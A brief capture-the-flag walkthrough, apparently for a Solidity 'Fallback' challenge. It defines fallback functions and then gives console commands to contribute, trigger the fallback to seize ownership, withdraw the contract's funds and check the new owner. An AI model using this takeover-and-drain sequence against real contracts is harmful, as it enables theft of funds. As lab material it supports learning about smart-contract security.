A fallback function is a solidity function that is called when no other function in the smart contract matches the function name called. https://www.geeksforgeeks.org/solidity-fall-back-function/
- Contribute to the contract
contract.contribute({ value: toWei(".000001", "ether"), from: player }) - Send a transaction to trigger fallback function
sendTransaction({ to: contract.address, value: toWei(".000001", "ether"), from: player })- Withdraw from contract
contract.withdraw()**Verify ownership, it should return your address.
await contract.owner()